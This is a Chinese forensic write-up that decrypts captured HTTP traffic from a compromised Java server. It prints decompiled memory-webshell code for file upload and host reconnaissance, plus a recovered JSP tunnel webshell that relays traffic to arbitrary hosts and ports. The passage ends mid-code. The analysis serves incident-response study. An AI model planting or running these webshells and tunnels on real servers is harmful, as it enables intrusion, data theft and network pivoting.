User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36Connection: close
Cookie: JSESSIONID=A891C7D63F7AA47F7BB3B7089E134B55.server
Content-Type: application/json
Cache-Control: no-cache
Pragma: no-cache
Host: 
Content-Length: 208{"kvs":{"SaveLogResult":[0]},"tags":{"isSucc":true,"sdkVersion":"2.1.4","projectName":"Publish"},"extraData":"26426ac13be6e1b58c69fd371bac6de05031411e180aefaba292f681d82e4080931feb534693d2267c5d1940e676a29e"}HTTP/1.1 200 OK
Server: Apache-Coyote/1.1X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Type: application/json;charset=UTF-8Content-Length: 290Date: Mon, 25 Jul 2022 11:16:23 GMT
Connection: close

{"code":0,"data":{"suggestItems":[],"global":"e1JTQX0pZ0aeP7q4n2hcmkzSNR3IziwHfy4 8Q7p37h/TbEBuDTY/h8uggW9zZaqXH9R9/m1YziyH","exData":{"api_flow01":"0","api_flow02":"0","api_flow03":"1","api_flow04":"0","api_flow05":"0","api_flow06":"0","api_flow07":"0","api_tag":"2","local_cityid":"-1"}}}

我们此时发现,返回数据,没办法解密

代码语言:javascript复制
流量2POST /web_war_exploded/config.jsp HTTP/1.1Accept: image/avif,image/webp,image/apng,image/svg xml,image/*,*/*;q=0.8Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36Connection: close
Cookie: JSESSIONID=9591F786236B86A2FD02F136EDA38C6B.server
Content-Type: application/json
Cache-Control: no-cache
Pragma: no-cache
Host: 127.0.0.1:8080Content-Length: 208{"kvs":{"SaveLogResult":[0]},"tags":{"isSucc":true,"sdkVersion":"2.1.4","projectName":"Publish"},"extraData":"26426ac13be6e1b58c69fd371bac6de05031411e180aefaba292f681d82e4080931feb534693d2267c5d1940e676a29e"}

HTTP/1.1 200 Set-Cookie: JSESSIONID=D13E378AB0CFF03E93024BD85D16A115; Path=/web_war_exploded; HttpOnly
Content-Type: application/json;charset=UTF-8Content-Length: 290Date: Sun, 31 Jul 2022 09:36:35 GMT
Connection: close

{"code":0,"data":{"suggestItems":[],"global":"e1JTQX0pZ0aeP7q4n2hcmkzSNR3IziwHfy4 8Q7p3LqSQ62BTyUngI/DkW9Tp3quXH4sRpwFYziyH","exData":{"api_flow01":"0","api_flow02":"0","api_flow03":"1","api_flow04":"0","api_flow05":"0","api_flow06":"0","api_flow07":"0","api_tag":"2","local_cityid":"-1"}}}

打完大马的第一个数据包

我们发送的数据是

代码语言:javascript复制
6D6574686F644E616D65020400000074657374

我们尝试解密返回的数据

本地复现的返回包和报文一致

我们再来看我们的马,

代码语言:javascript复制
服务器数据 =》xor =》 base =》流量
流量 =》 base =》xor =》获得数据

注入后,我们对于返回包的数据解码并不成功

我们按下不表,在后续进行解密

我们去查看注入的内存马,发现存在GZIP和deserialize

也就是说,我们重新推断一次

代码语言:javascript复制
服务器数据 =》xor =》 base =》流量
流量 =》 base =》xor =》获得数据

变为了

服务器数据 =》GZIP =》xor =》 base =》流量
流量 =》 base =》xor =》Gzip=》获得数据

我们对原本马的进一步分析之后,发现错过了一些细节

代码语言:javascript复制
{"code":0,"data":{"suggestItems":[],"global":"e1JTQX0pZ

拼接的前半部分为这样,也就导致会解密出{RSA}

我们去除前面的影响之后,将流量的后续,进行解密

将返回的流量成功解密

0x03 内存马分析

3.1 功能预览

3.2 全局变量

sessionMap 用来存储多个session,说明 该系统rt是多人协同使用的工具,每个人的session不同

parameterMap 是用来存储传递的参数的

其他的也如图所见

introspector 监听器

代码语言:javascript复制
   public byte[] run() {//run函数
      try {//第一个参数是evalClassName,也就是我们命令的参数,第二个是methodName也是我们执行的方法
         String var1 = this.get("evalClassName");         String var20 = this.get("methodName");         // 方法为空就会提示
         if (var20 == null) {            return "Method is empty".getBytes();
         } else {            Object var21 = null;            if (var1 != null) {            //var4 是本身函数中的恶意module
               Class var4 = (Class)this.session.get(var1);               if (var4 == null) {                  return "Plugin module not loaded".getBytes();
               }                //参数Map,将sessionTable和servletRequest 存入
               this.parameterMap.put("sessionTable", this.session);
               this.parameterMap.put("servletRequest", this.servletRequest);
               var21 = var4.newInstance();
            }//下面是一个调用class和参数,
            Method var23 = null;            boolean var5 = var21 != null;//实例化对象是否存在,var5判断
            Class var6 = var5 ? var21.getClass() : this.getClass();            var21 = var5 ? var21 : this;
            //getByteArray函数见如下            byte[] var7 = this.getByteArray("invokeMethod");            Class[] var8 = new Class[1];//类的实例化            Object[] var9 = new Object[]{var21};            if (var7 != null || !var5) {               try {
                  var8[0] = Map.class;
                  var23 = var6.getMethod(var20, var8);
               } catch (NoSuchMethodException var18) {                  try {
                     var8[0] = Dictionary.class;
                     var23 = var6.getMethod(var20, var8);
                  } catch (NoSuchMethodException var16) {                     try {
                        var8 = new Class[0];                        var9 = new Object[0];                        var23 = var6.getMethod(var20, var8);
                     } catch (NoSuchMethodException var14) {                        return "No Such Method".getBytes();
                     }
                  }
               }
            }            Object var10 = null;            if (var23 != null) {
               var10 = var23.invoke(var21, var9);
            } else {            //equals函数被重写了,见下
            //toString函数也被重写了,见下
               var21.equals(this.parameterMap);
               var21.toString();
               var10 = this.parameterMap.get("result");
            }            if (byte[].class.isInstance(var10)) {               return (byte[])var10;
            } else if (String.class.isInstance(var10)) {               return ((String)var10).getBytes();
            } else {               return Map.class.isInstance(var10) ? this.serialize((Map)var10) : "Incorrect return type".getBytes();
            }
         }
      } catch (Throwable var19) {
         ByteArrayOutputStream var2 = new ByteArrayOutputStream();
         PrintStream var3 = new PrintStream(var2);
         var19.printStackTrace(var3);
         var3.flush();
         var3.close();         return var2.toByteArray();
      }
   }

3.3 被调用的函数

getByteArray

代码语言:javascript复制
  public byte[] getByteArray(String var1) {      try {         return (byte[])this.parameterMap.get(var1);
      } catch (Exception var2) {         return null;
      }
   }   //获取parameterMap中的参数,上述传递的invokeMethod

equals 重写成参数不为空,同时对var1 调用handle

代码语言:javascript复制
   public boolean equals(Object var1) {      return var1 != null &amp;&amp; this.handle(var1);
   }//var1 不为空的时候,
   public boolean handle(Object var1) {      if (var1 == null) {         return false;
      } else {      //判断var1 是不是byteArrayoutputStream类,是的话,输出
         if (ByteArrayOutputStream.class.isInstance(var1)) {
            this.outputStream = (ByteArrayOutputStream)var1;            //判断,是不是byte数组,是的话赋值requestData
         } else if (byte[].class.isInstance(var1)) {
            this.requestData = (byte[])var1;

         } else if (this.supportClass(var1, ".servlet.http.HttpServletRequest")) {
            this.servletRequest = var1;
         }         return false;
      }
   }//var2 servlet.http.httpServletReuest//var1 
   private boolean supportClass(Object var1, String var2) {      if (var1 == null) {         return false;
      } else {         boolean var3 = false;         Class var4 = null;         try {            try {
               var4 = Class.forName("javax"   var2, true, var1.getClass().getClassLoader());
            } catch (Exception var5) {
               var4 = Class.forName("jakarta"   var2, true, var1.getClass().getClassLoader());
            }
         } catch (Exception var6) {
         }         if (var4 != null &amp;&amp; var4.isInstance(var1)) {
            var3 = true;
         }         return var3;
      }
   }

反序列化

代码语言:javascript复制
public HashMap deserialize(byte[] var1, boolean gzipFlag) {
      HashMap var3 = new HashMap();
      ByteArrayInputStream var4 = new ByteArrayInputStream(var1);
      ByteArrayOutputStream var5 = new ByteArrayOutputStream();
      byte[] var6 = new byte[4];//针对gzipFlag 判断对流是否采用GZIP加解密
      try {         Object var7 = var4;         if (gzipFlag) {
            var7 = new GZIPInputStream(var4);
         }         while(true) {
            byte var8 = (byte)((InputStream)var7).read();            if (var8 == -1) {               break;
            }            if (var8 == 1) {
               ((InputStream)var7).read(var6);               int var9 = bytesToInt(var6);               String var10 = var5.toString();
               var3.put(var10, this.deserialize(this.readInputStream((InputStream)var7, var9), false));
               var5.reset();
            } else if (var8 == 2) {
               ((InputStream)var7).read(var6);               int var12 = bytesToInt(var6);               String var13 = var5.toString();
               var3.put(var13, this.readInputStream((InputStream)var7, var12));
               var5.reset();
            } else {
               var5.write(var8);
            }
         }
      } catch (Exception var11) {
      }      return var3;
   }

序列化

代码语言:javascript复制
public byte[] serialize(Map var1) {      Iterator var2 = var1.keySet().iterator();
      ByteArrayOutputStream var3 = new ByteArrayOutputStream();      while(var2.hasNext()) {         try {            String var4 = (String)var2.next();            Object var5 = var1.get(var4);
            var3.write(var4.getBytes());
            byte[] var6;            if (var5 instanceof byte[]) {
               var3.write(2);
               var6 = (byte[])var5;
            } else if (var5 instanceof Map) {
               var3.write(1);
               var6 = this.serialize((Map)var5);
            } else {
               var3.write(2);               if (var5 == null) {
                  var6 = "NULL".getBytes();
               } else {
                  var6 = var5.toString().getBytes();
               }
            }

            var3.write(intToBytes(var6.length));
            var3.write(var6);
         } catch (Exception var7) {
         }
      }      return var3.toByteArray();
   }

重写后的toString

代码语言:javascript复制
 public String toString() {      if (this.outputStream != null &amp;&amp; this.requestData != null) {         try {
            this.parameterMap = this.deserialize(this.requestData, true);            String var1 = this.sessionId();            if (var1 != null) {
               this.session = (Map)sessionMap.get(var1);
            }//methodname就是我们在内存马中交互的函数名
            String var2 = this.get("methodName");            if (var2 == null || this.session == null &amp;&amp; !"test".equals(var2)) {               return super.toString();
            }

            GZIPOutputStream var3 = new GZIPOutputStream(this.outputStream);
            byte[] var4 = this.run();
            var3.write(var4);
            var3.close();
            this.outputStream.close();
            this.parameterMap = null;
            this.requestData = null;
            this.outputStream = null;
            this.servletRequest = null;
            this.session = null;
         } catch (Throwable var5) {
         }
      }      return super.toString();
   }

close 关闭session

代码语言:javascript复制
   public byte[] close() {      try {         String var1 = this.sessionId();         String var2 = this.get("operation");         if (var1 != null) {
            Map var7 = (Map)sessionMap.remove(var1);
            var7.put("alive", Boolean.FALSE);            return "ok".getBytes();
         } else if (var2 != null &amp;&amp; "clearup".equals(var2)) {            for(Object var4 : sessionMap.values()) {               if (Map.class.isInstance(var4)) {
                  ((Map)var4).put("alive", Boolean.FALSE);
               }
            }

            sessionMap.clear();            return "ok".getBytes();
         } else {            return "fail".getBytes();
         }
      } catch (Exception var6) {         return var6.getMessage().getBytes();
      }
   }

uploadFIle,参数已经都修改了比较好懂

代码语言:javascript复制
   public byte[] uploadFile() {      String filepath = this.get("fileName");
      byte[] fileValues = this.getByteArray("fileValue");      if (var1 != null &amp;&amp; var2 != null) {         try {
            File file = new File(filepath);
            file.createNewFile();
            FileOutputStream fileOutputStream = new FileOutputStream(file);
            fileOutputStream.write(fileValues);
            fileOutputStream.close();            return "ok".getBytes();
         } catch (Exception var5) {            return var5.getMessage().getBytes();
         }
      } else {         return "No parameter fileName and fileValue".getBytes();
      }
   }

getBasicsINfo 获取当前环境的相关信息

代码语言:javascript复制
public byte[] getBasicsInfo() {      String var1 = "";      try {
         Enumeration var2 = System.getProperties().keys();
         var1 = var1   "FileRoot : "   this.listFileRoot()   "n";
         var1 = var1   "CurrentDir : "   new File("").getAbsoluteFile()   "/"   "n";
         var1 = var1   "CurrentUser : "   System.getProperty("user.name")   "n";
         var1 = var1   "ProcessArch : "   System.getProperty("sun.arch.data.model")   "n";         try {            String var16 = System.getProperty("java.io.tmpdir");
            char var4 = var16.charAt(var16.length() - 1);            if (var4 != '\' &amp;&amp; var4 != '/') {
               var16 = var16   File.separator;
            }

            var1 = var1   "TempDirectory : "   var16   "n";
         } catch (Exception var7) {
         }

         var1 = var1   "RealFile : "   this.getRealPath()   "n";         try {
            var1 = var1
                 "OsInfo : os.name: "
                 System.getProperty("os.name")
                 " os.version: "
                 System.getProperty("os.version")
                 " os.arch: "
                 System.getProperty("os.arch")
                 "n";
         } catch (Exception var6) {
            var1 = var1   "OsInfo : "   var6.getMessage()   "n";
         }         String var17;         for(var1 = var1   "IPList : "   getLocalIPList()   "n"; var2.hasMoreElements(); var1 = var1   var17   " : "   System.getProperty(var17)   "n") {
            var17 = (String)var2.nextElement();
         }

         Map var18 = this.getEnv();         if (var18 != null) {            for(String var19 : var18.keySet()) {
               var1 = var1   var19   " : "   var18.get(var19)   "n";
            }
         }         return var1.getBytes();
      } catch (Exception var8) {
         StringBuffer var3 = new StringBuffer();
         var3.append(var1);
         var3.append("Exception errMsg:");
         var3.append(var8.getMessage());         return var3.toString().getBytes();
      }
   }

在数据包中,发现了一些比较大的数据量

代码语言:javascript复制
POST /ncupload/config.jsp HTTP/1.1Accept: image/avif,image/webp,image/apng,image/svg xml,image/*,*/*;q=0.8Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36Connection: close
Cookie: JSESSIONID=9591F786236B86A2FD02F136EDA38C6B.server
Content-Type: application/json
Cache-Control: no-cache
Pragma: no-cache
Host: 
/*
* 提示:该行代码过长,系统自动注释不进行高亮。一键复制会移除系统注释 
* Content-Length: 6096{"kvs":{"SaveLogResult":[0]},"tags":{"isSucc":true,"sdkVersion":"2.1.4","projectName":"Publish"},"extraData":"32a85e76c20073540fef1ce1ee320f50ae0ff737d7ed26e6a85da18aad02f435bc8518d11b1e9030f4be2e0b3af6a17b87b423600fada476b6400c826cbb29c8759449da755f460961a6996fafc2e7d0633389636aaa4d316cb6f4c2b05b3cbc482b600171952a15d416a565a9dd8cc8ab155646f51efde3f249cee568dd767eccfa3521d11b7ea0cb5939e3ed36e87b6b29a7fa4fbc90a8b99b6061aef5c2e7af82b947ad15df47b32139dabd03d0cc2487f11565dbe1c1cf1f6bd0e1bba680a3573135fb1459f0db7fbe78d79f31bfea595630af5e31f5d31e61ab8f959547ab0e4cdae1db0febcbb086077cff5bfa0cb6e4ec30ac9a2c59983aaf0e9025b975b1e749a4776bc1c63279e3190d430704d097ce3737a3f435b60da0c949e4f2fe3aad6dca3adc574fbef52d17893a7ed6055f6aac133e50738b9ad164fe7e9df8f45d8db67861345962782162eda63e96f815007397ff9f629736639f896ec929ff6d586c4f8c5d349e06ef5196cb525f786dafa9d98a37eac395852d7d4e06e146c83059161369bcad803b424203da730157ec11336b0871d927f194fc65936e0471e9571cd7308371ebcd0ed0ba4b9929fc0309025605db8bc22637a1a86dcfce4e89ee0e58f8aea28cd39bcaff1bda3b1fb52285186e406058e78548e21a37ccc2d60d0d75a73911b73ba1d70805eb63e5cc056e01c0d3ccd5b58d8e7ffed52f6a7c7b3670b7d1c8e739ab47b50a532874217e3ce1a52495f0f5953d740e6422c09360fb838a80513343ba1130d1eb3d68e8c125add9368e891ca3fe196ac30e8e3c7de85ecb4e0ccb5c16e35bb0d8acf90b74861cdcb5fb6f2d63a45875b03ed825fa64abf719b540180beb16729dd83d89296da542a716ece2434f2790ce7f478dc59834d7b854d570cf95185b0a4ca186432f16a1f14f259b4a5e80c5db23083640e09fd9f3d8162d30fbf6b1a88ffb158c8ab1628ef6c6d7d35188b796dd07d7bd0f92d316c243e744fe16567ea64937df3f037ed0920aee1cdc0ecccb60a35a095feff50ea74ea51539d2e5306b8a06b9cd144d49da59becf2f875d7b833f9e8c9293b015a8e69903b93e6f17c9e1c43b25e7d940d47c3fb8d289053db59c45cb2eff8d7c8be617d2c06ad1bd93f5cf9f74d4988148e05da68db648e47897c75c3b8962ba61c44bf4a408fe8104ffb032ebba5e7f04eae6b9629d324a2ebf42bc2eccea1f38eb97fb9627932a6ba624b32e92a80c0c9e12edb610644b618ed91f2dd5ebef37d50c628127338671daa80995ee630095bd2d46c83cbe323adce50da5d62c807994787d2d1c18f223840aa5e8f1c3225e275a26d16ca97f72cde36fb6653574f614a16e8596fca46caafe26c7d87d082234c9a4394ebc0354c086f9ac1a54d79204a13cb6e31388be8f3accd90a69fc05309f6807a83cd331e86a074325cfb81b436fa66972c1f272159fc896fa6bc132a261e4b1983876f3649da62cb04ad88674c2e01d4cb8fc865ffbd97cb52b623c4e4558cabe7ba7321850c4fca9c0a767f3afa8a1b74cff37635ed24e2c926ccdd4acce0e6eb2f7de8084036d8654b7e8923e03a5d119cb31fd076b246a62dbb8d2171fc36d683a358e35aa9173e83118def9f58e7205058b2f97cc81d29a0dce1bd1134c8afadda693f595b854d1745d0dec97a72ad09dfba993479bd1648a2d6674dcb51ea60027ea7003418ce39643f005b3f0a3ac717413e3f6e38870e24404712dd2b91a5c1eda973f54880c8b849445e054a99cbf8ec5fdebbee4bebacedba3425b3f7a3f78c6b6fb78b3b3e5a4ff8dd5db8f57cfb38024bfce90147c3340129bf6e0ccb578fe4fc3c7e52ca1e5606711d256c3e4ea01fb5a92fdb310ada833a8839c81fe1b4309a0fc13d661c06b95999812f1ac2eefb032dc8b1a54868e33ac30cfd77c4ce660f97192596b7988dca08ce24e96007a4e9c8d5c2f456cfe8430930e1ad4e78101260a51c35aaa188e4d1ecd1281728b59cf14053bf732a6cd167478e8d42753c9cea3739dea6c371d7a8a038dbb0d44e3890b40bf575ad674c96df09ba72ea3d81a59b495b1381615f063cbf7277069ae20366dc2f8a5efe63fd639590821a3a88007cdca540d0f6d847702e52ea8cbcf0a5cf56edb9e5d164debdb393ab2b26abef14f6d09cbb0bad56d10e38df1bcea0efa681fa7fd80a42590677a60c54fcc52081ed90d70be050920b17a9a6d8835293bb1bfebf9c5a24d8ccb46d319084081cc3529f3184fc43709907a808cb21597570df3a9fa5f1c0afa0d7fb42c4097ef43db533117b13800d4f8bf9e211046598afff48e89f10f4eab805836ccf4cca6e7d121b278c4b85b182012b20d560df094bb6530902ade5742406337855a2fbcc37ef73c85626f9ab49468f8d2117d0dfc890009b9e75a8a43f66e98706937c6649899acf3634756d1263085930e3e8fa4eabf323fa06021b640eedc99881671960ed3dffe68ee9016c6d79968a6a8a2498a740a362a1f58070bfb0cbcf45721a50fe18cc923a25445b9daca0e762bed46c21ccfb99ea4792bd4570c7a94d6b207077aaa455f584f3a7c99c0f35233a4ff629b31e385972d4e3f8faa9831219de17a8de763e6d0c6028045d61eb287e6034d8ccbdf143dab6156d8579f4812b784d794bb6d651c6fda18337306b406eacca9ac07c35455b18edef5b9c5720b2e0b97efddd90f94891e340d23f677664949edc64f12e445996eb9762581b98487d52a5715778752641db9a80cad992ba9a23dcc27e13aac9a67e9a5a9781f8dda8202eb6020d8c7dd501b3c66e53d117e2b8b71e6f64f6be71ace17f548fde712ed98603d4193cb4c637a66d4b666e78e3c5f43423d36956a1a94363885dd5e6b08cb85e92ca9965e6fd5a8696995dcd89aac3667b7d4a0f04fb40643342ab8c6baf6b13f85a6e088d8f2a29485b31acee691e348e48db962ae5465e509589b2f3279bb4b4b624bd9567828f01dd80f18584d9f80fcae542b769aad985e7c872b87dd0274270bc2a43de8568b0ba40ed1c9e8555a7c73e7a0f66dbaac8ed902808dbb5bcdf3e2cbf737684d9ae1091dbb3075da90b026ef1475b53d82cdd48bcc2cee0ed53e37e89ab96c3eb7a2db9b520187e05b7695c28f70b6a26ac8c3d620f9d512c3ce0fdfdc7614f4a6066d1af1ef4160db16251d00a87a3fe1d97762371ed76d0993c6fd3047033c48841df3580db4842053a208edee9aec14c4f0d6167fbbc1d7d1e27db0df961c149e569820d3a5b054047ea8c8c0fb3f0a02a4159e381e88dc80be44f29b7d81d225bc532f2ae7612567b2b0e6d98ac12f2dc1d468579ebe2691f8fb7909372fcee0edf636105b6e739636979838e67c7259b3e60bcd8c33ca6b813b181e92e28891f4a10c5b0307de3154ef976b90b6e9cb7da1df481d15594f182db9dc040dc92aea5f0866205320a00056367163edb541cd4c9c69cfda046c79e07a5353e7ccb7fa7ca30d8f70c884905a7e380acfc4b87cd776312a0c03b8ca7563d732fe60e1660d5393bff054171a6f2cfe0a944009c66a20e8c134e115d5c2c41a85f24523cfb30900304162589db0b4c3bdb77102c28f8e01d780baabf74d4e3c0495c530dc12a2432b7e23ac20435fe828298b7a98a182dc24bd6d380f8605f110040d0e68c9601d4db46e4aa50326e50553a6ea0dd06864790edf6e0019db88cb0bb3e047f8b34de42adc9fc9914cbcaa272bc224200ac5f5bbe77d2affdf90eb518f00d0e28efd124d5f9c13b02c9ced7d869ccf226a304aeaeee19515852039e52691117a44c75e9f4cbb0a08aae885f37b15599d636cca01821f0f8b1e1d5c96c31bf94a7b97c138c97f46c87e0f031480a21ed1c54ebe2e8a2d75e8261db357d16a97c8d48817cdfa68b6319e5dae23576103e93af792cc8e2501c0cdf0fe7bdbf98878a3e2c2f44c9bb022a24db998d404d3d2d745a8a5bf02983040f1896cbb8b46cc2b593d27f88b07e8de6aaa5f66742d67c8865a674d640489d11024fc1c31cbccd8c82a731e52b37496afa2b3bc84b737f0543ce5fa3beea789438e458d8ab67259249446f3925c03f91902f8198de4bf439ce068aa251e96d2bedbeae58196fd99dd770cee242403b7180a0be2538483a3285a5c2adc365158ec0911705438acae119c658eac193af640bb5e22f7f4cd7df6e3392da2b7ca28e5078b"}HTTP/1.1 200 OK
*/
Server: Apache-Coyote/1.1X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Type: application/json;charset=UTF-8Content-Length: 254Date: Wed, 27 Jul 2022 10:14:51 GMT
Connection: close

{"code":0,"data":{"suggestItems":[],"global":"e1JTQX0pZ0aeP7q4n2hcmk9QMbFy6mhJVhe6uJw==","exData":{"api_flow01":"0","api_flow02":"0","api_flow03":"1","api_flow04":"0","api_flow05":"0","api_flow06":"0","api_flow07":"0","api_tag":"2","local_cityid":"-1"}}}

数据包中,如上数据,进行解密后

解出的jsp为,解出的代码也就是后续的windowsConfig.jsp,这个木马露出了马脚,终于被我们所捕获。

代码语言:javascript复制
&lt;%@page import="java.nio.ByteBuffer, java.nio.channels.SocketChannel, java.io.*, java.net.*, java.util.*" pageEncoding="UTF-8" trimDirectiveWhitespaces="true"%&gt;
&lt;%!    private static char[] en = "CE0XgUOIQFsw1tcy H95alrukYfdznxZR8PJo2qbh4pe6/VDKijTL3v7BAmGMSNW".toCharArray();    public static String b64en(byte[] data) {
        StringBuffer sb = new StringBuffer();        int len = data.length;        int i = 0;        int b1, b2, b3;        while (i &lt; len) {
            b1 = data[i  ] &amp; 0xff;            if (i == len) {
                sb.append(en[b1 &gt;&gt;&gt; 2]);
                sb.append(en[(b1 &amp; 0x3) &lt;&lt; 4]);
                sb.append("==");                break;
            }
            b2 = data[i  ] &amp; 0xff;            if (i == len) {
                sb.append(en[b1 &gt;&gt;&gt; 2]);
                sb.append(en[((b1 &amp; 0x03) &lt;&lt; 4)
                        | ((b2 &amp; 0xf0) &gt;&gt;&gt; 4)]);
                sb.append(en[(b2 &amp; 0x0f) &lt;&lt; 2]);
                sb.append("=");                break;
            }
            b3 = data[i  ] &amp; 0xff;
            sb.append(en[b1 &gt;&gt;&gt; 2]);
            sb.append(en[((b1 &amp; 0x03) &lt;&lt; 4)
                    | ((b2 &amp; 0xf0) &gt;&gt;&gt; 4)]);
            sb.append(en[((b2 &amp; 0x0f) &lt;&lt; 2)
                    | ((b3 &amp; 0xc0) &gt;&gt;&gt; 6)]);
            sb.append(en[b3 &amp; 0x3f]);
        }        return sb.toString();
    }    private static byte[] de = new byte[] {-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,16,-1,-1,-1,45,2,12,37,53,41,19,44,55,33,18,-1,-1,-1,-1,-1,-1,-1,57,56,0,47,1,9,59,17,7,35,48,52,60,62,6,34,8,32,61,51,5,46,63,3,25,31,-1,-1,-1,-1,-1,-1,20,39,14,27,43,26,4,40,49,50,24,21,58,29,36,42,38,22,10,13,23,54,11,30,15,28,-1,-1,-1,-1,-1};    public static byte[] b64de(String str) {
        byte[] data = str.getBytes();        int len = data.length;
        ByteArrayOutputStream buf = new ByteArrayOutputStream(len);        int i = 0;        int b1, b2, b3, b4;        while (i &lt; len) {            do {
                b1 = de[data[i  ]];
            } while (i &lt; len &amp;&amp; b1 == -1);            if (b1 == -1) {                break;
            }            do {
                b2 = de[data[i  ]];
            } while (i &lt; len &amp;&amp; b2 == -1);            if (b2 == -1) {                break;
            }
            buf.write((int) ((b1 &lt;&lt; 2) | ((b2 &amp; 0x30) &gt;&gt;&gt; 4)));            do {
                b3 = data[i  ];                if (b3 == 61) {                    return buf.toByteArray();
                }
                b3 = de[b3];
            } while (i &lt; len &amp;&amp; b3 == -1);            if (b3 == -1) {                break;
            }
            buf.write((int) (((b2 &amp; 0x0f) &lt;&lt; 4) | ((b3 &amp; 0x3c) &gt;&gt;&gt; 2)));            do {
                b4 = data[i  ];                if (b4 == 61) {                    return buf.toByteArray();
                }
                b4 = de[b4];
            } while (i &lt; len &amp;&amp; b4 == -1);            if (b4 == -1) {                break;
            }
            buf.write((int) (((b3 &amp; 0x03) &lt;&lt; 6) | b4));
        }        return buf.toByteArray();
    }    static String headerkey(String str) throws Exception {        String out = "";        for (String block: str.split("-")) {
           out  = block.substring(0, 1).toUpperCase()   block.substring(1);
           out  = "-";
        }        return out.substring(0, out.length() - 1);
    }    boolean islocal(String url) throws Exception {        String ip = (new URL(url)).getHost();
        Enumeration nifs = NetworkInterface.getNetworkInterfaces();        while (nifs.hasMoreElements()) {
            NetworkInterface nif = nifs.nextElement();
            Enumeration addresses = nif.getInetAddresses();            while (addresses.hasMoreElements()) {
                InetAddress addr = addresses.nextElement();                if (addr instanceof Inet4Address)                    if (addr.getHostAddress().equals(ip))                        return true;
            }
        }        return false;
    }
%&gt;
&lt;%    String rUrl = request.getHeader("Mueytrthxaatjpsb");    if (rUrl != null) {
        rUrl = new String(b64de(rUrl));        if (!islocal(rUrl)){
            response.reset();            String method = request.getMethod();
            URL u = new URL(rUrl);
            HttpURLConnection conn = (HttpURLConnection) u.openConnection();
            conn.setRequestMethod(method);
            conn.setDoOutput(true);            // conn.setConnectTimeout(200);
            // conn.setReadTimeout(200);

            Enumeration enu = request.getHeaderNames();            List keys = Collections.list(enu);
            Collections.reverse(keys);            for (String key : keys){                if (!key.equalsIgnoreCase("Mueytrthxaatjpsb")){                    String value=request.getHeader(key);
                    conn.setRequestProperty(headerkey(key), value);
                }
            }            int i;
            byte[] buffer = new byte[1024];            if (request.getContentLength() != -1){
                OutputStream output;                try{
                    output = conn.getOutputStream();
                }catch(Exception e){
                    response.setHeader("Die", "C23vc07BCOdIsUHAmDM4nNP01x7zR4uKsWbBrOV");                    return;
                }

                ServletInputStream inputStream = request.getInputStream();                while ((i = inputStream.read(buffer)) != -1) {
                    output.write(buffer, 0, i);
                }
                output.flush();
                output.close();
            }            for (String key : conn.getHeaderFields().keySet()) {                if (key != null &amp;&amp; !key.equalsIgnoreCase("Content-Length") &amp;&amp; !key.equalsIgnoreCase("Transfer-Encoding")){                    String value = conn.getHeaderField(key);
                    response.setHeader(key, value);
                }
            }

            InputStream hin;            if (conn.getResponseCode() &lt; HttpURLConnection.HTTP_BAD_REQUEST) {
                hin = conn.getInputStream();
            } else {
                hin = conn.getErrorStream();                if (hin == null){
                    response.setStatus(200);                    return;
                }
            }

            ByteArrayOutputStream baos = new ByteArrayOutputStream();            while ((i = hin.read(buffer)) != -1) {
                byte[] data = new byte[i];
                System.arraycopy(buffer, 0, data, 0, i);
                baos.write(data);
            }            String responseBody = new String(baos.toByteArray());
            response.addHeader("Content-Length", Integer.toString(responseBody.length()));
            response.setStatus(conn.getResponseCode());
            out.write(responseBody);
            out.flush();            if ( true ) return; // exit
        }
    }

    response.resetBuffer();
    response.setStatus(200);    String cmd = request.getHeader("Ffydhndmhhl");    if (cmd != null) {        String mark = cmd.substring(0,22);
        cmd = cmd.substring(22);
        response.setHeader("Sbxspawzq", "CapFLueBCn2ZM");        if (cmd.compareTo("b5v9XJbF") == 0) {            try {                String[] target_ary = new String(b64de(request.getHeader("Nnpo"))).split("\|");                String target = target_ary[0];                int port = Integer.parseInt(target_ary[1]);
                SocketChannel socketChannel = SocketChannel.open();
                socketChannel.connect(new InetSocketAddress(target, port));
                socketChannel.configureBlocking(false);
                application.setAttribute(mark, socketChannel);
                response.setHeader("Sbxspawzq", "CapFLueBCn2ZM");
            } catch (Exception e) {
                response.setHeader("Die", "k4MBX7QElVQzrmOdkml_G3pnYz55EFZPIwTO");
                response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa");
            }
        } else if (cmd.compareTo("0FX") == 0) {
            SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark);            try{
                socketChannel.socket().close();
            } catch (Exception e) {
            }
            application.removeAttribute(mark);
        } else if (cmd.compareTo("TQDLLDvYzyrB4pPbieRBk90FIdYgjJcE2si70wIXfql") == 0){
            SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark);            try{
                ByteBuffer buf = ByteBuffer.allocate(513);                int bytesRead = socketChannel.read(buf);                int maxRead = 524288;                int readLen = 0;                while (bytesRead &gt; 0){
                    byte[] data = new byte[bytesRead];
                    System.arraycopy(buf.array(), 0, data, 0, bytesRead);
                    out.write(b64en(data));
                    out.flush();
                    ((java.nio.Buffer)buf).clear();
                    readLen  = bytesRead;                    if (bytesRead &lt; 513 || readLen &gt;= maxRead)                        break;
                    bytesRead = socketChannel.read(buf);
                }
                response.setHeader("Sbxspawzq", "CapFLueBCn2ZM");

            } catch (Exception e) {
                response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa");
            }

        } else if (cmd.compareTo("CtWP7tBSKiDnysT9hP9pa") == 0){
            SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark);            try {                String inputData = "";
